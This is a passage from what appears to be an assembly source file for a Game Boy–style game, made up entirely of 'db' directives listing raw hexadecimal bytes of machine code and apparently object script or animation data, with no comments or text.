$08, $0D, $32, $10 db $E0, $19, $03, $08, $07, $00, $00, $29 db $00, $05, $02, $0C, $0F, $41, $00, $22 db $91, $56, $1D, $03, $98, $4D, $5D, $09 db $04, $19, $00, $02, $19, $01, $04, $0A db $24, $17, $26, $B8, $00, $01, $03, $08 db $00, $FD, $2A, $10, $29, $00, $03, $1B db $57, $5D, $00, $01, $28, $4C, $CD, $1B db $25, $38, $3B, $CD, $D3, $1E, $CD, $A4 db $0D, $CD, $0B, $4F, $30, $03, $CD, $04 db $4F, $62, $2E, $0F, $2A, $B6, $C0, $CD db $3D, $20, $1E, $45, $1A, $30, $14, $07 db $38, $14, $1E, $04, $06, $20, $CD, $9C db $1F, $38, $0B, $1E, $1D, $01, $76, $57 db $C3, $46, $08, $07, $38, $EC, $1E, $1D db $01, $66, $57, $C3, $46, $08, $1E, $1D db $01, $DA, $5A, $C3, $46, $08, $22, $91 db $56, $1D, $03, $98, $4D, $5D, $07, $00 db $00, $05, $0C, $0F, $41, $01, $0F, $27 db $00, $22, $91, $56, $1D, $03, $8C, $57 db $5D, $0D, $5F, $20, $73, $4C, $19, $02 db $08, $01, $04, $00, $CD, $EF, $4F, $D8 db $CB, $7F, $C8, $21, $12, $DD, $CB, $FE db $1E, $1D, $01, $A0, $57, $C3, $46, $08 db $0D, $E6, $22, $D7, $18, $0D, $77, $0F db $0E, $14, $02, $FF, $57, $0D, $DD, $57 db $0D, $EE, $57, $22, $91, $56, $1D, $03 db $BC, $57, $5D, $00, $CD, $EF, $4F, $D8 db $CB, $7F, $C8, $21, $12, $DD, $CB, $FE db $1E, $22, $21, $99, $42, $3E, $1E, $CD db $CF, $05, $F0, $9A, $57, $1E, $1D, $01 db $A9, $57, $C3, $46, $08, $21, $76, $4C db $1E, $27, $1A, $5F, $07, $83, $85, $6F db $30, $01, $24, $C3, $BE, $20, $62, $2E db $27, $7E, $34, $07, $21, $7C, $4C, $85 db $6F, $30, $01, $24, $C3, $F9, $20, $0D db $E6, $22, $D7, $10, $0D, $27, $58, $08 db $00, $00, $22, $91, $56, $1D, $03, $1E db $54, $5D, $05, $10, $03, $98, $4D, $5D db $19, $00, $02, $19, $01, $04, $19, $00 db $02, $19, $01, $04, $06, $C9, $55, $1E db $41, $1A, $5F, $07, $83, $21, $80, $4C db $85, $6F, $30, $01, $24, $CD, $F9, $20 db $C3, $23, $21, $0F, $41, $00, $0D, $B8 db $4F, $28, $12, $5C, $58, $27, $03, $50 db $58, $5D, $0B, $D3, $56, $06, $3E, $58 db $CD, $57, $50, $D8, $1E, $1D, $01, $5C db $58, $C3, $46, $08, $27, $22, $91, $56 db $1D, $03, $C7, $58, $5D, $26, $40, $00 db $08, $00, $00, $19, $00, $04, $19, $01 db $08, $0D, $BA, $22, $D7, $15, $24, $18 db $09, $1E, $0D, $E6, $22, $D7, $11, $19 db $07, $02, $19, $0F, $02, $19, $07, $02 db $19, $0F, $02, $0A, $0D, $86, $51, $12 db $96, $51, $24, $FF, $0D, $CE, $54, $27 db $22, $91, $56, $1D, $03, $98, $4D, $5D db $19, $05, $04, $19, $06, $20, $24, $1B db $0D, $E6, $22, $D7, $12, $26, $00, $FE db $0D, $32, $10, $20, $03, $E6, $58, $5D db $19, $0F, $10, $03, $98, $4D, $5D, $05 db $1C, $19, $01, $10, $06, $C9, $55, $CD db $A4, $0D, $01, $28, $4C, $CD, $1B, $25 db $38, $0C, $CD, $0B, $4F, $D0, $1E, $1D db $01, $92, $58, $C3, $46, $08, $1E, $1D db $01, $DA, $5A, $C3, $46, $08, $CD, $E6 db $1E, $CD, $A4, $0D, $01, $28, $4C, $CD db $1B, $25, $38, $07, $CD, $0B, $4F, $D0 db $C3, $04, $4F, $1E, $1D, $01, $DA, $5A db $C3, $46, $08, $22, $91, $56, $1D, $0D db $E6, $22, $D7, $11, $19, $07, $02, $19 db $0F, $02, $19, $07, $02, $19, $0F, $02 db $06, $07, $59, $19, $01, $10, $19, $00 db $08, $06, $C9, $55, $22, $91, $56, $1D db $0B, $50, $52, $0F, $41, $00, $0F, $26 db $03, $0D, $B8, $4F, $38, $12, $73, $59 db $27, $03, $4B, $59, $5D, $0B, $57, $59 db $0D, $D6, $52, $10, $26, $11, $73, $59 db $06, $31, $59, $CD, $57, $50, $D8, $1E db $1D, $01, $73, $59, $C3, $46, $08, $26 db $00, $02, $29, $00, $08, $80, $FF, $2A db $10, $19, $08, $08, $0D, $32, $10, $E0 db $19, $09, $08, $07, $00, $00, $29, $00 db $05, $02, $0C, $0D, $F8, $44, $50, $11 db $0E, $5A, $18, $29, $00, $03, $1E, $54 db $5D, $19, $09, $04, $19, $08, $10, $26 db $00, $01, $24, $46, $19, $16, $01, $19 db $15, $01, $19, $14, $01, $19, $13, $01 db $0D, $32, $10, $D0, $19, $12, $01, $03 db $98, $4D, $5D, $0D, $77, $0F, $0D, $0D db $E6, $22, $D7, $13, $0D, $E6, $22, $D7 db $1A, $19, $0B, $02, $19, $11, $02, $19 db $0B, $02, $19, $11, $02, $03, $1E, $54 db $5D, $19, $12, $01, $19, $13, $01, $19 db $14, $01, $26, $00, $01, $24, $46, $19 db $15, $04, $0D, $32, $10, $D0, $19, $14 db $01, $19, $13, $01, $19, $12, $01, $03 db $98, $4D, $5D, $0D, $77, $0F, $0D, $19 db $0B, $02, $19, $11, $02, $19, $0B, $02 db $19, $11, $02, $19, $12, $01, $19, $13 db $01, $19, $14, $01, $19, $15, $04, $19 db $09, $04, $0D, $CE, $54, $19, $03, $08 db $19, $00, $10, $06, $C9, $55, $24, $17 db $07, $00, $00, $08, $00, $FD, $2A, $10 db $03, $40, $53, $5D, $19, $09, $30, $03 db $98, $4D, $5D, $19, $08, $08, $03, $56 db $5A, $5D, $24, $46, $19, $16, $01, $19 db $15, $01, $19, $14, $01, $19, $13, $01 db $19, $12, $01, $19, $11, $08, $19, $12 db $01, $19, $13, $01, $19, $14, $01, $19 db $15, $04, $19, $14, $01, $19, $13, $01 db $19, $12, $01, $01, $11, $00, $01, $28 db $4C, $CD, $1B, $25, $38, $17, $CD, $D3 db $1E, $CD, $A4, $0D, $01, $36, $4C, $CD db $CD, $24, $CB, $7F, $C8, $1E, $1D, $01 db $7D, $5A, $C3, $46, $08, $1E, $1D, $01 db $DA, $5A, $C3, $46, $08, $22, $91, $56 db $1D, $03, $98, $4D, $5D, $0D, $77, $0F db $0E, $0D, $E6, $22, $D7, $13, $0D, $E6 db $22, $D7, $1A, $09, $04, $19, $0B, $02 db $19, $11, $02, $0A, $07, $00, $00, $08 db $00, $FE, $2A, $20, $03, $40, $53, $5D db $19, $12, $01, $19, $13, $01, $19, $14 db $01, $19, $15, $01, $19, $16, $01, $19 db $09, $0B, $0D, $CE, $54, $19, $03, $10 db $03, $98, $4D, $5D, $19, $00, $10, $06 db $C9, $55, $28, $13, $40, $F4, $56, $13 db $80, $3B, $58, $13, $C0, $24, $59, $06 db $BC, $56, $0F, $41, $01, $03, $FB, $5A db $5D, $1C, $FA, $7C, $04, $09, $06, $19 db $10, $02, $19, $0F, $02, $0A, $0F, $41 db $00, $0D, $F5, $5A, $00, $21, $12, $DD db $CB, $9E, $C9, $CD, $23, $23, $C0, $06 db $00, $1E, $4C, $1A, $FE, $5B, $D0, $04 db $FE, $2E, $30, $01, $04, $1E, $5C, $78 db $12, $21, $12, $DD, $CB, $4E, $C0, $1E db $4C, $1A, $C6, $14, $21, $13, $DD, $BE db $38, $01, $C0, $1A, $77, $21, $12, $DD db $CB, $CE, $C9, $0D, $3C, $5C, $1C, $85 db $47, $03, $1A, $46, $04, $7B, $73, $0D db $0F, $60, $1A, $0F, $61, $00, $0D, $F7 db $65, $0D, $A2, $5B, $11, $B6, $5B, $03 db $87, $5B, $5D, $18, $09, $05, $19, $1B db $02, $19, $1D, $02, $0A, $19, $1B, $14 db $26, $40, $00, $19, $1C, $1E, $07, $00 db $00, $09, $06, $19, $1C, $02, $19, $1E db $02, $0A, $19, $1C, $14, $26, $40, $00 db $19, $1B, $1E, $07, $00, $00, $06, $4C db $5B, $FF, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $CD db $A4, $0D, $01, $79, $5B, $CD, $5B, $25 db $1E, $04, $21, $51, $DB, $1A, $96, $FE db $50, $C0, $1E, $1D, $01, $F1, $5B, $C3 db $46, $08, $21, $53, $DB, $1E, $07, $1A db $96, $FE, $60, $38, $04, $3E, $01, $18 db $01, $AF, $1E, $27, $12, $C9, $03, $C6 db $5B, $5D, $01, $1F, $18, $0D, $5F, $20 db $C3, $5B, $00, $20, $80, $01, $CD, $EB db $21, $CD, $A4, $0D, $01, $79, $5B, $CD db $5B, $25, $21, $53, $DB, $1E, $07, $1A db $96, $FE, $60, $D8, $1E, $22, $21, $99 db $42, $3E, $1E, $CD, $CF, $05, $F0, $9A db $57, $1E, $1D, $01, $47, $5B, $C3, $46 db $08, $03, $2A, $5C, $5D, $19, $1C, $08 db $24, $22, $09, $04, $19, $1F, $04, $19 db $20, $04, $0A, $09, $08, $19, $1F, $08 db $19, $21, $04, $0A, $19, $1F, $32, $0F db $1F, $80, $0D, $30, $5C, $0D, $67, $23 db $05, $01, $0D, $35, $5C, $11, $18, $5C db $04, $19, $4B, $1A, $0F, $46, $00, $01 db $2E, $00, $01, $79, $5B, $C3, $5B, $25 db $AF, $EA, $16, $DF, $C9, $FA, $16, $DF db $1E, $27, $12, $C9, $21, $E4, $4C, $3E db $03, $CD, $CF, $05, $C9, $17, $FF, $0D db $0F, $61, $00, $0F, $4C, $01, $04, $7B db $73, $0D, $0D, $F9, $1F, $0D, $0F, $20 db $08, $08, $08, $10, $5B, $0E, $1B, $96 db $5C, $C7, $5C, $D7, $5C, $E7, $5C, $0D db $5D, $42, $5D, $7D, $5D, $B1, $5D, $F6 db $5D, $87, $5E, $E0, $5E, $FB, $5E, $04 db $5F, $0D, $5F, $E5, $5E, $7B, $5F, $CC db $5F, $3E, $5D, $EF, $5F, $7D, $60, $18 db $61, $20, $61, $7B, $61, $B1, $62, $4E db $62, $AD, $62, $F4, $62, $16, $24, $52 db $03, $38, $5D, $5D, $0D, $D1, $1F, $06 db $F0, $26, $80, $00, $08, $C0, $FF, $0D db $32, $10, $F8, $0F, $45, $40, $19, $1A db $20, $0D, $C0, $5C, $05, $10, $09, $04 db $19, $FF, $02, $19, $1A, $02, $0A, $16 db $1E, $11, $1A, $2F, $3C, $12, $C9, $0F db $45, $40, $0D, $D1, $1F, $F6, $00, $07 db $80, $FE, $29, $10, $06, $BD, $5D, $0F db $45, $40, $0D, $D1, $1F, $0A, $00, $07 db $80, $01, $29, $F0, $06, $BD, $5D, $0D db $D1, $1F, $10, $08, $04, $46, $72, $0B db $0F, $46, $00, $26, $00, $02, $0D, $32 db $10, $E0, $08, $00, $FE, $2A, $20, $03 db $35, $5D, $5D, $19, $00, $10, $29, $00 db $2A, $00, $05, $08, $16, $0D, $D1, $1F db $F4, $0C, $04, $52, $6F, $0B, $0F, $46 db $00, $03, $35, $5D, $5D, $26, $80, $FF db $08, $C0, $FF, $2A, $F8, $19, $05, $04 db $0D, $32, $10, $20, $19, $04, $02, $0F db $47, $10, $05, $02, $16, $CD, $D3, $1E db $CD, $E6, $1E, $C3, $A4, $0D, $22, $3B db $5F, $1D, $04, $46, $72, $0B, $0F, $46 db $00, $0D, $54, $5D, $03, $38, $5D, $5D db $19, $00, $0C, $16, $C5, $CD, $47, $06 db $47, $0E, $05, $CD, $85, $28, $21, $DC db $4C, $78, $07, $07, $80, $85, $6F, $30 db $01, $24, $44, $4D, $CD, $D1, $1F, $60 db $69, $CD, $23, $21, $1E, $0F, $2A, $12 db $1C, $2A, $12, $C1, $C9, $0D, $0F, $20 db $02, $02, $BF, $03, $88, $5D, $5D, $00 db $01, $F5, $4C, $1E, $48, $1A, $67, $2E db $15, $7E, $D6, $08, $D8, $07, $07, $81 db $4F, $30, $01, $04, $CD, $E8, $24, $CD db $A8, $5D, $01, $AE, $4C, $C3, $5B, $25 db $1E, $5E, $0A, $12, $03, $1C, $0A, $12 db $C9, $0D, $D1, $1F, $20, $08, $26, $00 db $01, $0D, $32, $10, $F0, $0F, $60, $00 db $08, $80, $FE, $2A, $10, $04, $52, $6F db $0B, $0F, $46, $00, $03, $E7, $5D, $5D db $09, $02, $19, $08, $02, $19, $09, $02 db $19, $0A, $02, $19, $07, $02, $0A, $03 db $F0, $5D, $5D, $19, $08, $26, $16, $CD db $E6, $1E, $CD, $D3, $1E, $CD, $A4, $0D db $01, $AE, $4C, $C3, $5B, $25, $08, $00 db $FD, $2A, $18, $26, $C0, $00, $22, $54 db $5E, $1D, $03, $7B, $5E, $5D, $09, $07 db $0D, $E6, $22, $D7, $0A, $05, $08, $0A db $0F, $1C, $80, $0D, $0F, $20, $0C, $0C db $BF, $03, $81, $5E, $5D, $04, $83, $77 db $0B, $0F, $46, $00, $24, $11, $0F, $47 db $10, $09, $02, $19, $00, $02, $19, $01 db $02, $19, $02, $02, $19, $03, $02, $19 db $04, $02, $19, $05, $02, $19, $06, $02 db $19, $07, $02, $0A, $0D, $E6, $22, $D7 db $0B, $0D, $E6, $22, $D7, $0C, $0D, $E6 db $22, $D7, $0D, $16, $0F, $47, $10, $19 db $19, $02, $0F, $47, $00, $19, $18, $02 db $0F, $47, $10, $19, $17, $02, $0F, $47 db $00, $19, $19, $02, $0F, $47, $10, $19 db $18, $02, $0F, $47, $00, $19, $17, $02 db $06, $54, $5E, $CD, $D3, $1E, $CD, $A4 db $0D, $01, $AE, $4C, $C3, $5B, $25, $26 db $C0, $01, $08, $C0, $01, $22, $54, $5E db $1D, $03, $9F, $5E, $5D, $0D, $E6, $22 db $D7, $0A, $05, $08, $06, $95, $5E, $CD db $A4, $0D, $01, $AE, $4C, $CD, $5B, $25 db $D8, $CD, $25, $1A, $CB, $7F, $C8, $1E db $1D, $01, $B7, $5E, $C3, $46, $08, $0F db $60, $BF, $07, $00, $00, $08, $80, $FE db $2A, $10, $03, $CA, $5E, $5D, $1B, $52 db $43, $05, $62, $2E, $0F, $2A, $B6, $28 db $0C, $CD, $D3, $1E, $CD, $A4, $0D, $01 db $AE, $4C, $C3, $5B, $25, $C3, $BA, $0B db $0D, $D1, $1F, $F8, $00, $0D, $2E, $4A db $04, $52, $6F, $0B, $0F, $46, $00, $19 db $05, $04, $19, $04, $02, $0F, $47, $10 db $05, $02, $16, $08, $00, $FF, $26, $80 db $00, $06, $13, $5F, $08, $80, $FE, $26 db $60, $00, $06, $13, $5F, $08, $40, $FF db $26, $E0, $FF, $0D, $2E, $4A, $0D, $0F db $20, $04, $04, $08, $0D, $5F, $20, $31 db $4D, $0F, $26, $02, $22, $3B, $5F, $1D db $03, $48, $5F, $5D, $04, $46, $72, $0B db $0F, $46, $00, $01, $00, $0D, $E6, $22 db $D7, $0E, $00, $0F, $47, $10, $05, $02 db $0F, $47, $00, $05, $02, $06, $3B, $5F db $CD, $EB, $21, $CD, $A4, $0D, $01, $BC db $4C, $CD, $5B, $25, $D8, $01, $D8, $4C db $CD, $CD, $24, $CB, $7F, $C8, $62, $2E db $26, $35, $28, $13, $1E, $0D, $1A, $6F db $1C, $1A, $CB, $2F, $12, $1D, $7D, $1F db $12, $21, $34, $4D, $C3, $BE, $20, $62 db $C3, $BA, $0B, $0D, $BA, $5F, $12, $89 db $5F, $0D, $D1, $1F, $FA, $F4, $06, $8E db $5F, $0D, $D1, $1F, $0C, $00, $04, $52 db $6F, $0B, $0F, $46, $00, $26, $40, $FF db $08, $80, $FD, $2A, $28, $03, $B4, $5F db $5D, $19, $04, $06, $19, $05, $02, $19 db $FF, $01, $19, $05, $01, $19, $FF, $01 db $19, $05, $01, $16, $CD, $D3, $1E, $C3 db $A4, $0D, $21, $12, $DD, $CB, $7E, $20 db $03, $AF, $18, $04, $CB, $BE, $3E, $01 db $1E, $27, $12, $C9, $0D, $D1, $1F, $F4 db $0E, $04, $52, $6F, $0B, $0F, $46, $00 db $26, $80, $FF, $08, $C0, $FF, $2A, $F8 db $03, $35, $5D, $5D, $19, $04, $04, $0D db $32, $10, $40, $19, $05, $04, $16, $0F db $60, $BF, $0D, $D1, $1F, $04, $00, $04 db $52, $6F, $0B, $0F, $46, $00, $26, $80 db $01, $0D, $32, $10, $FA, $22, $3B, $5F db $1D, $03, $65, $60, $5D, $01, $05, $09 db $08, $0D, $E6, $22, $D7, $14, $05, $08 db $0A, $0F, $1C, $80, $0D, $E6, $22, $D7 db $0B, $0D, $E6, $22, $D7, $0C, $0D, $E6 db $22, $D7, $16, $0D, $0F, $20, $0C, $0C db $BF, $26, $80, $00, $08, $00, $00, $2A db $FC, $03, $71, $60, $5D, $04, $83, $77 db $0B, $0F, $46, $00, $24, $11, $0F, $47 db $10, $09, $08, $19, $00, $02, $19, $01 db $02, $19, $02, $02, $19, $03, $02, $19 db $04, $02, $19, $05, $02, $19, $06, $02 db $19, $07, $02, $0A, $16, $CD, $E6, $1E db $CD, $A4, $0D, $01, $CA, $4C, $C3, $5B db $25, $CD, $D3, $1E, $CD, $A4, $0D, $01 db $CA, $4C, $C3, $5B, $25, $0F, $60, $BF db $0D, $D1, $1F, $20, $08, $04, $52, $6F db $0B, $0F, $46, $00, $26, $80, $01, $0D db $32, $10, $F0, $08, $80, $FE, $2A, $10 db $22, $3B, $5F, $1D, $03, $A3, $60, $5D db $01, $05, $00, $CD, $E6, $1E, $CD, $D3 db $1E, $CD, $A4, $0D, $01, $CA, $4C, $CD db $5B, $25, $D8, $62, $2E, $0D, $2A, $B6 db $C0, $1E, $1D, $01, $C1, $60, $C3, $46 db $08, $0D, $0F, $20, $0C, $0C, $BF, $03 db $71, $60, $5D, $26, $20, $00, $08, $00 db $FE, $2A, $08, $04, $83, $77, $0B, $0F db $46, $00, $24, $11, $0F, $47, $10, $09 db $03, $19, $00, $02, $19, $01, $02, $19 db $02, $02, $19, $03, $02, $19, $04, $02 db $19, $05, $02, $19, $06, $02, $19, $07 db $02, $0A, $2A, $00, $19, $00, $02, $19 db $01, $02, $19, $02, $02, $19, $03, $02 db $19, $04, $02, $19, $05, $02, $19, $06 db $02, $19, $07, $02, $1B, $FC, $60, $1D db $0D, $D1, $1F, $FA, $07, $06, $D1, $5F db $03, $25, $61, $5D, $00, $1E, $48, $1A db $67, $2E, $4C, $7E, $B7, $20, $04, $62 db $C3, $BA, $0B, $21, $12, $DD, $CB, $5E db $C0, $CD, $09, $28, $D8, $01, $37, $4D db $CD, $E8, $24, $1E, $04, $06, $18, $CD db $9C, $1F, $D0, $1E, $07, $06, $18, $CD db $9C, $1F, $D0, $21, $12, $DD, $CB, $D6 db $1E, $48, $1A, $67, $2E, $60, $36, $BF db $2E, $61, $36, $C0, $1E, $01, $01, $90 db $54, $CD, $3A, $0C, $3E, $80, $EA, $54 db $A0, $1E, $48, $1A, $EA, $48, $A0, $62 db $C3, $BA, $0B, $04, $52, $6F, $0B, $0F db $46, $00, $0F, $60, $BF, $0D, $2E, $4A db $26, $00, $02, $03, $AA, $61, $5D, $19 db $01, $02, $19, $02, $02, $19, $0B, $02 db $19, $0C, $02, $19, $0D, $02, $19, $0E db $02, $19, $0F, $02, $19, $10, $02, $06 db $8F, $61, $CD, $A4, $0D, $01, $AE, $4C db $CD, $5B, $25, $D8, $CD, $0B, $4F, $D0 db $1E, $1D, $01, $C0, $61, $C3, $46, $08 db $0D, $E6, $22, $D7, $19, $0F, $47, $00 db $0F, $60, $00, $26, $00, $FF, $08, $00 db $FD, $2A, $18, $03, $E6, $61, $5D, $19 db $07, $02, $19, $08, $02, $19, $09, $02 db $19, $0A, $02, $06, $D7, $61, $CD, $F4 db $61, $CB, $7F, $C8, $1E, $1D, $01, $07 db $62, $C3, $46, $08, $CD, $D3, $1E, $CD db $A4, $0D, $01, $AE, $4C, $CD, $5B, $25 db $38, $03, $C3, $25, $1A, $E1, $C9, $24 db $41, $26, $60, $FF, $08, $80, $FE, $2A db $18, $22, $44, $62, $1D, $03, $1C, $62 db $5D, $06, $D7, $61, $CD, $F4, $61, $CB db $7F, $C8, $1E, $1D, $01, $2A, $62, $C3 db $46, $08, $24, $41, $22, $44, $62, $1D db $03, $3E, $62, $5D, $19, $07, $28, $0F db $1C, $80, $1B, $66, $49, $03, $01, $AE db $4C, $C3, $5B, $25, $0D, $E6, $22, $D7 db $17, $05, $04, $06, $44, $62, $0F, $60 db $BF, $04, $83, $77, $0B, $0F, $46, $00 db $0D, $D1, $1F, $10, $08, $26, $00, $01 db $0D, $32, $10, $10, $08, $00, $FE, $2A db $20, $03, $E7, $5D, $5D, $0F, $47, $10 db $19, $00, $02, $19, $01, $02, $19, $02 db $02, $19, $03, $02, $19, $04, $02, $19 db $05, $02, $19, $06, $02, $19, $07, $02 db $0F, $47, $00, $04, $52, $6F, $0B, $0F db $60, $00, $22, $44, $62, $1D, $03, $3E db $62, $5D, $19, $07, $02, $19, $08, $02 db $19, $09, $02, $19, $0A, $22, $0F, $1C db $80, $1B, $66, $49, $03, $1B, $66, $49 db $03, $04, $52, $6F, $0B, $0F, $46, $00 db $0D, $DB, $62, $D3, $62, $07, $00, $00 db $08, $00, $FE, $2A, $10, $03, $B4, $5F db $5D, $19, $04, $03, $19, $05, $03, $19 db $04, $02, $16, $F8, $FC, $FE, $F8, $02 db $F8, $08, $FC, $0A, $6F, $03, $0A, $67 db $03, $C5, $44, $4D, $CD, $47, $06, $E6 db $03, $07, $81, $4F, $30, $01, $04, $CD db $E8, $24, $C1, $C9, $0F, $60, $00, $0D db $D1, $1F, $20, $08, $04, $52, $6F, $0B db $0F, $46, $00, $26, $80, $00, $08, $00 db $FE, $2A, $10, $03, $1E, $63, $5D, $19 db $07, $02, $19, $08, $02, $19, $09, $02 db $19, $0A, $02, $06, $0F, $63, $CD, $F4 db $61, $CB, $7F, $C8, $1E, $1D, $01, $2C db $63, $C3, $46, $08, $24, $41, $26, $40 db $00, $08, $00, $FF, $2A, $10, $22, $44 db $62, $1D, $03, $41, $63, $5D, $06, $0F db $63, $CD, $F4, $61, $CB, $7F, $C8, $1E db $1D, $01, $4F, $63, $C3, $46, $08, $24 db $41, $22, $44, $62, $1D, $03, $3E, $62 db $5D, $19, $07, $20, $0F, $1C, $80, $1B db $66, $49, $03, $FF, $02, $00, $00, $00 db $BA, $6B, $1D, $00, $00, $00, $BA, $6B db $1D, $00, $0B, $03, $04, $08, $0B, $04 db $09, $07, $0A, $0B, $07, $04, $03, $0D db $0B, $04, $03, $04, $05, $01, $07, $05 db $01, $04, $03, $06, $05, $04, $02, $0B db $04, $02, $0F, $0B, $0E, $03, $05, $07 db $01, $04, $06, $02, $0B, $04, $06, $07 db $03, $01, $02, $0B, $04, $06, $01, $07 db $0C, $0B, $0E, $07, $03, $06, $06, $02 db $0B, $06, $06, $07, $04, $07, $06, $06 db $04, $07, $02, $0B, $04, $07, $06, $06 db $06, $04, $07, $02, $FF, $27, $0D, $B6 db $10, $27, $17, $F6, $0D, $0F, $44, $FF db $0D, $E0, $35, $8C, $00, $90, $00, $0F db $3F, $18, $0D, $21, $65, $0D, $E2, $64 db $0D, $17, $65, $00, $FD, $0D, $12, $65 db $0D, $0F, $20, $08, $0C, $3F, $22, $05 db $64, $1D, $03, $0F, $64, $5D, $07, $00 db $00, $08, $00, $FE, $19, $01, $08, $19 db $02, $08, $06, $FC, $63, $0D, $E6, $22 db $D9, $18, $05, $06, $06, $05, $64, $CD db $B0, $64, $CD, $A4, $0D, $1E, $07, $1A db $21, $53, $DB, $96, $47, $1C, $1A, $23 db $9E, $D0, $78, $FE, $E8, $D0, $1E, $1D db $01, $2E, $64, $C3, $46, $08, $08, $00 db $00, $03, $43, $64, $5D, $05, $10, $08 db $40, $00, $19, $01, $08, $19, $02, $08 db $06, $3A, $64, $CD, $B0, $64, $CD, $A4 db $0D, $1E, $07, $21, $53, $DB, $1A, $96 db $47, $1C, $23, $1A, $9E, $D8, $78, $FE db $18, $D8, $1E, $1D, $01, $62, $64, $C3 db $46, $08, $0F, $60, $2D, $08, $00, $00 db $0D, $5F, $22, $0D, $72, $22, $0D, $26 db $65, $71, $63, $0D, $F7, $65, $0D, $30 db $65, $0E, $10, $46, $65, $1A, $66, $03 db $67, $52, $68, $95, $68, $D8, $69, $F5 db $69, $40, $6A, $E6, $6A, $F2, $6A, $FA db $6A, $98, $67, $06, $6B, $0E, $6B, $1A db $6B, $22, $6B, $06, $6E, $64, $CD, $B0 db $64, $01, $63, $63, $CD, $3C, $23, $D0 db $1E, $1D, $01, $2A, $6B, $C3, $46, $08 db $21, $7A, $A0, $CB, $7E, $28, $14, $21 db $19, $DD, $7E, $C6, $90, $77, $30, $0B db $21, $79, $A0, $7E, $C6, $01, $22, $7E db $CE, $00, $77, $21, $17, $DD, $FA, $53 db $DB, $96, $EA, $18, $DD, $4F, $17, $9F db $47, $1E, $07, $1A, $81, $12, $1C, $1A db $88, $12, $FA, $53, $DB, $EA, $17, $DD db $C9, $21, $19, $DD, $7E, $C6, $08, $77 db $D2, $CB, $64, $21, $79, $A0, $7E, $C6 db $01, $22, $7E, $CE, $00, $77, $C3, $CB db $64, $FA, $18, $DD, $4F, $17, $9F, $47 db $1E, $07, $1A, $81, $12, $1C, $1A, $88 db $12, $C9, $7A, $EA, $27, $DD, $C9, $21 db $79, $A0, $0A, $22, $03, $0A, $77, $03 db $C9, $AF, $EA, $16, $DD, $C9, $1E, $3D db $0A, $12, $03, $1C, $0A, $12, $03, $C9 db $1E, $3D, $1A, $6F, $1C, $1A, $67, $2A db $1E, $27, $12, $FE, $FF, $C8, $1E, $3D db $7D, $12, $1C, $7C, $12, $C9, $0D, $7C db $67, $12, $52, $68, $0F, $41, $00, $0B db $8F, $65, $0D, $61, $65, $5D, $65, $11 db $4F, $65, $06, $73, $64, $80, $00, $C0 db $00, $0A, $6F, $03, $0A, $67, $03, $1E db $5C, $1A, $FE, $02, $30, $1B, $E5, $07 db $62, $2E, $41, $86, $34, $E1, $85, $6F db $30, $01, $24, $7E, $B7, $28, $0A, $5F db $CD, $47, $06, $BB, $38, $03, $AF, $18 db $02, $3E, $01, $1E, $27, $12, $C9, $03 db $BD, $65, $5D, $07, $00, $00, $08, $80 db $FF, $2A, $08, $19, $01, $08, $19, $02 db $08, $19, $01, $08, $19, $02, $08, $2A db $F8, $19, $01, $08, $19, $02, $08, $19 db $01, $08, $01, $02, $05, $01, $0D, $0C db $66, $11, $B4, $65, $0C, $CD, $B0, $64 db $CD, $D3, $1E, $CD, $A4, $0D, $01, $63 db $63, $CD, $3C, $23, $D0, $1E, $1D, $01 db $2A, $6B, $CD, $46, $08, $37, $C9, $21 db $16, $DD, $CB, $46, $C8, $1E, $15, $1A db $21, $EB, $65, $85, $6F, $30, $01, $24 db $7E, $12, $C9, $03, $04, $05, $03, $04 db $05, $09, $0A, $0B, $09, $0A, $0B, $21 db $51, $DB, $1E, $04, $1A, $96, $FE, $50 db $38, $04, $3E, $C0, $18, $02, $3E, $40 db $1E, $45, $12, $C9, $CD, $63, $67, $38 db $03, $AF, $18, $02, $3E, $01, $1E, $27 db $12, $C9, $0D, $72, $66, $0D, $A4, $66 db $10, $41, $1A, $3F, $0D, $DE, $66, $26 db $40, $01, $0D, $32, $10, $F0, $03, $3E db $66, $5D, $09, $05, $19, $01, $04, $19 db $02, $04, $0A, $06, $73, $64, $CD, $B0 db $64, $CD, $E6, $1E, $CD, $A4, $0D, $01 db $63, $63, $CD, $3C, $23, $38, $11, $CD db $D7, $65, $CD, $4E, $67, $D0, $CD, $04 db $4F, $CD, $63, $67, $D0, $C3, $68, $66 db $1E, $1D, $01, $2A, $6B, $C3, $46, $08 db $AF, $1E, $12, $12, $1E, $0F, $12, $1C db $12, $C9, $C5, $21, $17, $DD, $1E, $07 db $1A, $96, $47, $1E, $41, $D6, $18, $30 db $02, $2F, $3C, $FE, $08, $38, $04, $3E db $18, $12, $1C, $78, $D6, $40, $30, $02 db $2F, $3C, $FE, $08, $38, $09, $3E, $40 db $12, $7B, $FE, $42, $28, $04, $1C, $3E db $68, $12, $C1, $C9, $CD, $47, $06, $FE db $80, $38, $0E, $CD, $47, $06, $E6, $01 db $1E, $41, $83, $5F, $1A, $1E, $41, $12 db $C9, $C5, $06, $A0, $0E, $07, $21, $53 db $DB, $0A, $96, $47, $1E, $41, $1A, $90 db $30, $02, $2F, $3C, $4F, $1C, $1A, $90 db $30, $02, $2F, $3C, $B9, $38, $01, $1D db $1A, $1E, $41, $12, $C1, $C9, $1E, $07 db $1A, $21, $17, $DD, $96, $62, $2E, $41 db $96, $38, $05, $21, $00, $FF, $18, $05 db $21, $00, $01, $2F, $3C, $FE, $3C, $38 db $02, $CB, $24, $1E, $0F, $7D, $12, $1C db $7C, $12, $C9, $26, $00, $02, $08, $00 db $00, $03, $31, $67, $5D, $19, $04, $06 db $19, $05, $06, $19, $04, $06, $19, $05 db $06, $19, $0C, $0C, $0D, $62, $42, $19 db $01, $06, $19, $02, $06, $19, $01, $06 db $19, $02, $06, $0D, $92, $67, $06, $73 db $64, $CD, $B0, $64, $CD, $A4, $0D, $01 db $63, $63, $CD, $3C, $23, $38, $07, $CD db $4E, $67, $D0, $C3, $FD, $4E, $1E, $1D db $01, $2A, $6B, $C3, $46, $08, $1E, $0E db $1A, $07, $21, $51, $DB, $1E, $04, $1A db $38, $05, $96, $FE, $8B, $3F, $C9, $96 db $FE, $15, $C9, $1E, $10, $1A, $07, $21 db $53, $DB, $1E, $07, $1A, $38, $07, $96 db $62, $2E, $3F, $BE, $3F, $C9, $96, $62 db $2E, $3F, $BE, $C9, $21, $16, $DD, $CB db $46, $20, $03, $AF, $18, $02, $3E, $01 db $1E, $27, $12, $C9, $21, $16, $DD, $CB db $C6, $C9, $21, $16, 